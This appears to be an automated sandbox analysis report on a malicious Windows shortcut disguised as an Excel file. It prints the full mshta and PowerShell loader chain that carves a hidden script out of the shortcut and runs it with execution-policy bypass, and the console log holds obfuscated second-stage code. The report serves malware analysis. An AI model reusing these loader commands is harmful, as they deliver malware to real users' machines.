Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 11, 2025, 3:47 p.m.	April 11, 2025, 3:49 p.m.

Size	6.4KB
Type	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Jun 5 00:54:26 2024, mtime=Wed Jun 5 00:54:26 2024, atime=Wed Jun 5 00:54:26 2024, length=43520, window=hide
MD5	`95289ac289db6ad1fd9175992f498cd3`
SHA256	`2138f0837da8bb930cb15c7b587ff5a43e20708ec214963b66ba06322969ba39`
CRC32	`EA898203`
ssdeep	`192:8jdFrHw931yiwydoMmOMiMOeWVYGONcC4v0:QyFyiwyKM3x0P4v0`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MULbcsTupkzLQbl" C:\Users\test22\AppData\Local\Temp\20250410_70404.xls.lnk
3048
- mshta.exe "C:\Windows\System32\mshta.exe" javascript:g="c:\\prog"+"ramdata\\";m=" -Encod"+"ing Byte;sc ";a="rshell -ep bypa"+"ss ";p="$w ([byte[]]($f | select -Skip 0x0976)) -Force";s="a=new Activ"+"eXObject('WScr"+"ipt.Shell');a.Run(c,0,true);close();";c="powe"+a+"-c $t=0x19c6;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -Expan"+"dProperty Name;if($k.c"+"ount -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+g+"h.ps1';$f=gc $k"+m+p+m+g+"41026 0;"+"powe"+a+"-f $w;";eval(s);
  2200
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c $t=0x19c6;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\*\*.lnk | where-object{$_.length -eq $t};};$w='c:\programdata\h.ps1';$f=gc $k -Encoding Byte;sc $w ([byte[]]($f | select -Skip 0x0976)) -Force -Encoding Byte;sc c:\programdata\41026 0;powershell -ep bypass -f $w;
    2356
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -f c:\programdata\h.ps1
      1608

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:47 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 11, 2025, 3:47 p.m.			0	0
IsDebuggerPresent April 11, 2025, 3:47 p.m.			0	0

Command line console output was observed (50 out of 58 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: Unexpected token '(' in expression or statement. console_handle: 0x00000023	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: At C:\programdata\h.ps1:1 char:1186 console_handle: 0x0000002f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: + $gl82=@();$egi0="moqSpQD7IyMyMjdmV2ci0TdyMHJswz"[26..3];$cfk1="yepzYnASblRXSt console_handle: 0x0000003b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: Umdv1WZksacd"[20..2];$egi2="morYk1WYyd2byBHXcuyae"[16..3];$ins3="jq7cSMzBnLoxFX console_handle: 0x00000047	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: hRXyacde"[16..2];$gikl4=$egi0+$cfk1+$egi2+$ins3;$gl82+=$gikl4 -join '';$lv="ase console_handle: 0x00000053	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: 64S";$aei5="yekFX6MEI0BXansyJyN2chZXYqpzJrcSZv8CIi9yLgUGel5Cdwl2JrcicjN3dcxlMzc console_handle: 0x0000005f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: yKn0WZ0NXezxFXzd3J9EzYptGJ7cGJgM2LgQWbjtzJm9CIiAXb05SN0UjNywFXhRXYE1WYyd2bnsyJy console_handle: 0x0000006b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: BFXcpzQgI2LvACdwl2JrcicjNXY2dyKnEma6U2LvACdwlmcjdyKnM3diAic09CIddzM3gTO0MjM5czW console_handle: 0x00000077	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: nsyJn5Wak5WYwhXRnsyJlRXYkBXVldGZnsyJFRnZvN3byNWansyJNdUQg4GdvAiMg8WbvASZ0Vnbp1G console_handle: 0x00000083	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: IjN3LgUGdhVmcj9CIzt2JrcychRHajN3Jg0DInRCIJoQDgkgCNsDawhXZkACRtAiZyMDM212bmV2ckA console_handle: 0x0000008f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: Ca0FGUtASZ2lGajJXQtQmbhBHeFtjIhRXYk1WYyd2byBFXcpzQiASPggGc4VGJ70nZyMDM212bmV2c7 console_handle: 0x0000009b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: RCIlxWaGRXdP1CI9Z3c2R2ekASKncVLlt2Jscyb25WSnwyJ0NXZ1F3JscSZSJWZnAiZtISfxsXfwsXf console_handle: 0x000000a7	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: zsXfysnIo4yOiAXa65ycnxFXhRXYk1WYyJyKic2byBHXcpzYiASPgYmMzAjdt9mZlNHJ7lnc0BSCK0A console_handle: 0x000000b3	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: IJoQD7ISM9wGZmgnN0tWO3g2N9Q3cmc2cyJHc4gTY5d2b4BXMwMDaupmZyR3ajFXP5V2asJ3P0FGZu0 console_handle: 0x000000bf	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: 2UvcTMvNHa0VzMnl3N54WarpnMplTa38Sam9CbjN3Lt92Yug3biJyKiA3byRmL3d3dv8iOzBnIrICd0 console_handle: 0x000000cb	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: hmIg0DI2NndkRCIgACIgoQD7BSPgETZkoQD7ISZt92ctJSP2BHJsacd"[828..3];$prux26={param console_handle: 0x000000d7	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: ($ikn02)foreach($twa43 in $ikn02) {$els25=[Convert]::("Fr"+"omB"+$lv+"tri"+"ng" console_handle: 0x000000e3	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: )( <<<< $twa43);$cef96=-join ($els25 -as [char[]]);.("Inv"+"oke-Exp"+"ressi"+"o console_handle: 0x000000ef	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: n") $cef96;}};$fgi6="mqEI5RnclB3byBVLgQ3YlpmYPNFUgUWbh5UZwlHVtACdjVmai9UL3VmTg0 console_handle: 0x000000fb	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: DIqJ2Ti9mSkoQD7kSMlRCK0BXayN2UkRWQuEDckoQD7AnckASPgw2bvBVZjFGcz5WdS5SMwRiCNsTKo console_handle: 0x00000107	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: UGdhVmcDpjOdxGblh2cyV2dvB3Wg0DIxAHJK0QKo4WZw9kLwJHJ7kSNgwSMow2bvBVZjFGcz5WdSVGd console_handle: 0x00000113	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: hVmcDpjOdlncvR3YhZWZjFGcz5WdytFI9ACcyRiCNsjI1EjM1MjI9knckoQDK0QfK0QfgkgCNsTKwIT console_handle: 0x0000011f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: MoAXZlx2UgsTdkAyYtAyczFGc5JGIwVWLgwGblh2cyV2dvB3OisTKw1GduUDOzkjIrIiTBxFXhRXYE1 console_handle: 0x0000012b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: WYyJyKic2byBFXcpzQgQnblJyKiQnbvNUL0V2RoAibvlmIrIyczJyKiUmcwhXRtUmIrIyavZnbJBiIg console_handle: 0x00000137	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: 0DI1RCIJoQD7lSZ1JHdkgSZslGa3BSCK0wO9tHajRXYj13OmJzMwYXbvZWZzRCIsVGZ7EjbyRHJgM2L console_handle: 0x00000143	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: gQWbjtzMs1GJrkXa05Wdk0TMuJHdksjMjN3bksSMwZGJ9MDbtRyOngkIgQGZhByZldSPxAnZkszJydC console_handle: 0x0000014f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: I9ASepRnb1RyOj9WcksyJul2VcRnZvN3byN2JrcSaNxVZyF2d0Z2bTxVVDt0J9IzYz9GJ7EzYptGJgs console_handle: 0x0000015b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: yJvRmbpdHXcpzYiACZvAiWT91RFJFI09CIyU2JrcCdhRGcVdEI29CIi42JrcSdSxlbvl2cyVmV05WZy console_handle: 0x00000167	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: JXdDx1c39GZn0zYvFHJ7ciZvAiIw1GduUDN1YjMcxVY0FGRtdyKnEmcn9mcQxtwzc"[829..2];$hmq console_handle: 0x00000173	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: 7="iqxc39GZn0zYvFHJ7ciZvAiIzpmLxczM54EXcFGdhRUbnsyJhJ3ZvJHUcxlODBCdwl2JrcicjNXY console_handle: 0x0000017f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: 2Fma6cyKnU2LvAiYv8CIlhXZuQHcpdyKnI3YzdHXcJzMnsyJtVGdzl3ccx1c3dSPxMWarRyO0RCIsVG console_handle: 0x0000018b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: Z7cSY0FGZtFmcn9mcQxFX6M0JgQULgQHJggGdhBVLgUmdph2YyFULk5WYwhXR7UGd5JEIn5Wak92YuV console_handle: 0x00000197	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: ULgIGJgYVLgQHJggGdhBVLgQnblRnbvNUL0V2U7cCcppnLrxFXhRXYk1WYyd2byBHXcpzYn0DdksTK6 console_handle: 0x000001a3	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: RCKn5WayR3U0YTZzFmQt9mcGpjOdRnclZnbvN0W9IGJ7lCMgUmbtACa0dmblxkL6RCKmlWf7EDdkASP console_handle: 0x000001af	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: rAiekAyOpgSZulGTkFWZS5Sck0TM0RyegkCIx0CIl5WLgkCKrVWZQ5SckAicv1CIlxmYhxWahZXQhRX console_handle: 0x000001bb	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: YE5SbyR3ckgCIlxWaod3OncCI9AieksTKtJHdzRCKyVGZhVmUtFWZyR3Uu8USu0WZ0NXeTBCdjVmai9 console_handle: 0x000001c7	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: UL3VmT9EHJ7kCKtFWZyR3U0V2RuMGdkASPg0mc0NHJ7kCckACLyRCK05WZpx2QwNGVuMHdlt2YvNlL0 console_handle: 0x000001d3	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: VmTu0WZ0NXeTBCdjVmai9UL3VmTg0DIjRHJJsTXxs1YiJ2cVRCI9ACcksTXws1YiJ2cVRCI9AicksXe console_handle: 0x000001df	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: yRnCNsTKnkTO2YzJscSN1gDOnwyJ4QTMukTNuAjMuQjNngSPjJmYzVFJK0gCN03OxAHJg0DIsxWZoNl console_handle: 0x000001eb	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: cld3bQtTKoU2avZnbJ5WanVmQuEDckASPgU2YhB3cuVnU7Byace"[833..3];$fgi8="os1CIpgyalV console_handle: 0x000001f7	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: GUuIjckAicv1CIlxmYhxWahZXQhRXYE5iM0NHJoASZslGa3tzJnASPgMGJ7kiM0NHJoIXZkFWZS1WYl console_handle: 0x00000203	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: JHdT5yTJ5SblR3c5NFI0NWZqJ2TtcXZOBSPgIjcksTKo0WYlJHdTRXZH5iMjRHJg0DIyQ3cksTKyAHJ console_handle: 0x0000020f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: gwickgCduVWasNEcjRlLzRXZrN2bT5Cdl5kLtVGdzl3UgQ3YlpmYP1ydl5EI9AiMjRHJ70lMbNmYiNX console_handle: 0x0000021b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: VkASPgIDcksTXws1YiJ2cVRCI9AicksXKlVnc0RCKlxWaod3O9tHajRXYj1Xf7kCKlN3bsNmLtJHdzR console_handle: 0x00000227	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: yOnRCIj9CIk12Y7ciZvAiIw1GduMDNygzMcxVY0FGRtFmcn92JrcicQxFX6MEIi9yLgQHcpdyKnI3Yz console_handle: 0x00000233	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: FmdnsyJhpmOl9yLgQHcpJ3YnsyJzdnIgIHdvASXzcTOwEzN5IDOzs1JrcyZulGZuFGc4V0JrcSZ0FGZ console_handle: 0x0000023f	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: wVVZnR2JrcSR0Z2bz9mcjl2JrcSTBBib09CIyAybt9CIlRXdulWbgM2cvASZ0FWZyN2LgM3azFGdnsy console_handle: 0x0000024b	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: JoN2cnASPgcGJ7EjbyRHJgM2LgQWbjtzMw1GdksSepRnb1RSPx4mc0RyOyAXb0RyKxAXb0RSPzAXb0R console_handle: 0x00000257	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: yOngkIgQGZhByZldSPxAXb0RyOnI3Jg0DI5lGduVHJ7M2bxRyKn4WaXxFdm92cvJ3YnsyJp1EXlJXY3 console_handle: 0x00000263	1	1
WriteConsoleW April 11, 2025, 3:47 p.m.	buffer: RnZvNFXVN0Sn0jMw1GdksTMjl2akAyKn8GZul2dcxlOjJCIk9CIaN1XHVkUgQ3LgU2JrcCdhRGcVNFI console_handle: 0x0000026f	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 89 events)

Time & API	Arguments	Status	Return
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006722c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672000 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00671dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00672200 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006720c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006717c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005402b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00540938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00540938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00540938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:47 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005403f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 11, 2025, 3:47 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 285 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74082000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fc3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x034e0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2200 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x034e0000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02650000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02690000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x716f1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x716f2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02682000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02691000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02683000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02684000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:47 p.m.	process_identifier: 2356 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
